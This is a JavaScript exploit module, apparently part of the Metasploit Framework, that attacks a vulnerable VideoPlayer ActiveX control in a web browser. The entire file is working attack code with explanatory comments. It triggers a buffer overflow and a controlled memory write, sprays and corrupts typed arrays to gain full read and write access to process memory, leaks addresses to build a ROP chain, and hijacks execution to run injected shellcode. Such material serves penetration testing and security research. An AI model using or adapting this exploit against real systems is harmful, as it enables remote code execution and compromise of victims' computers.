metasploit-framework/data/exploits/edb-35948/js/exploit.js

127 lines
4.6 KiB
JavaScript

var Exploit = function () {
// create its vulnerable ActiveX object (as HTMLObjectElement)
this.obj = document.createElement("object");
this.obj.setAttribute("classid", "clsid:4B3476C6-185A-4D19-BB09-718B565FA67B");
// perform controlled memwrite to 0x1111f010: typed array header is at
// 0x1111f000 to 0x1111f030 => overwrite array data header @ 11111f010 with
// 0x00000001 0x00000004 0x00000040 0x1111f030 0x00
// The first 3 dwords are sideeffects due to the code we abuse for the
// controlled memcpy
this.whereAddress = 0x1111f010;
this.memory = null;
this.addresses = new Object();
this.sprayer = null;
this.informer = null;
this.sc = "<%=shellcode%>";
};
Exploit.prototype.run = function() {
CollectGarbage();
this.sprayer = new Sprayer();
this.sprayer.spray();
this.memory = this.doCorruption();
//alert(this.memory.length.toString(16))
if (this.memory.length != 0x7fffffff){
//alert("Cannot change Uint32Array length");
return -1;
}
// now we could even repair the change we did with memcpy ...
this.informer = new Informer(this.sprayer.corruptedArrayNext, this.memory, this.whereAddress);
var leakSuccess = this.leakAddresses();
if (leakSuccess != 0) {
//alert("Cannot leak required address to build the ROP chain");
return leakSuccess;
}
var ropBuilder = new RopBuilder(this.informer, this.addresses, this.sc.length);
ropBuilder.buildRop();
// manipulate object data to gain EIP control with "Play" method
var videopObj = this.memory[this.addresses['objAddress'] / 4 + 26];
this.memory[(videopObj - 0x10) / 4] = ropBuilder.ropAddress; // rop address will be used in EAX in below call
// eip control @ VideoPlayer.ocx + 0x6643B: CALL DWORD PTR [EAX+0x30] */
this.obj.Play()
};
Exploit.prototype.prepareOverflow = function() {
// prepare buffer with address we want to write to
var ptrBuf = "";
// fill buffer: length = relative pointer address - buffer start + pointer
// offset
while (ptrBuf.length < (0x92068 - 0x916a8 + 0xC)) { ptrBuf += "A" }
ptrBuf += this.dword2str(this.whereAddress);
return ptrBuf;
};
Exploit.prototype.doCorruption = function() {
var ptrBuf = this.prepareOverflow();
// trigger: overflow buffer and overwrite the pointer value after buffer
this.obj.SetText(ptrBuf, 0, 0);
//alert("buffer overflown => check PTR @ videop_1+92068: dc videop_1+92068")
// use overwritten pointer after buffer with method "SetFontName" to conduct
// memory write. We overwrite a typed array's header length to 0x40 and let
// its buffer point to the next typed array header at 0x1111f030 (see above)
this.obj.SetFontName(this.dword2str(this.whereAddress + 0x20)); // WHAT TO WRITE
if (this.sprayer.find() == -1){
//alert("cannot find corrupted Uint32Array");
return -1
}
// modify subsequent Uint32Array to be able to RW all process memory
this.sprayer.corruptedArray[6] = 0x7fffffff; // next Uint32Array length
this.sprayer.corruptedArray[7] = 0; // set buffer of next Uint32Array to start of process mem
// our memory READWRITE interface :)
return this.sprayer.fullMemory;
};
Exploit.prototype.leakAddresses = function() {
this.addresses['objAddress'] = this.informer.leakVideoPlayerAddress(this.obj);
this.addresses['base'] = this.informer.leakVideoPlayerBase(this.obj);
// check if we have the image of VideoPlayer.ocx
// check for MZ9000 header and "Vide" string at offset 0x6a000
if (this.memory[this.addresses['base'] / 4] != 0x905a4d ||
this.memory[(this.addresses['base'] + 0x6a000) / 4] != 0x65646956){
//alert("Cannot find VideoPlayer.ocx base or its version is wrong");
return -1;
}
//alert(this.addresses['base'].toString(16))
// get VirtualAlloc from imports of VideoPlayer.ocx
this.addresses['virtualAlloc'] = this.memory[(this.addresses['base'] + 0x69174)/4];
// memcpy is available inside VideoPlayer.ocx
this.addresses['memcpy'] = this.addresses['base'] + 0x15070;
//alert("0x" + this.addresses['virtualAlloc'].toString(16) + " " + "0x" + this.addresses['memcpy'].toString(16))
scBuf = new Uint8Array(this.sc.length);
for (n=0; n < this.sc.length; n++){
scBuf[n] = this.sc.charCodeAt(n);
}
this.addresses['shellcode'] = this.informer.leakShellcodeAddress(scBuf);
return 0;
};
// dword to little endian string
Exploit.prototype.dword2str = function(dword) {
var str = "";
for (var n=0; n < 4; n++){
str += String.fromCharCode((dword >> 8 * n) & 0xff);
}
return str;
};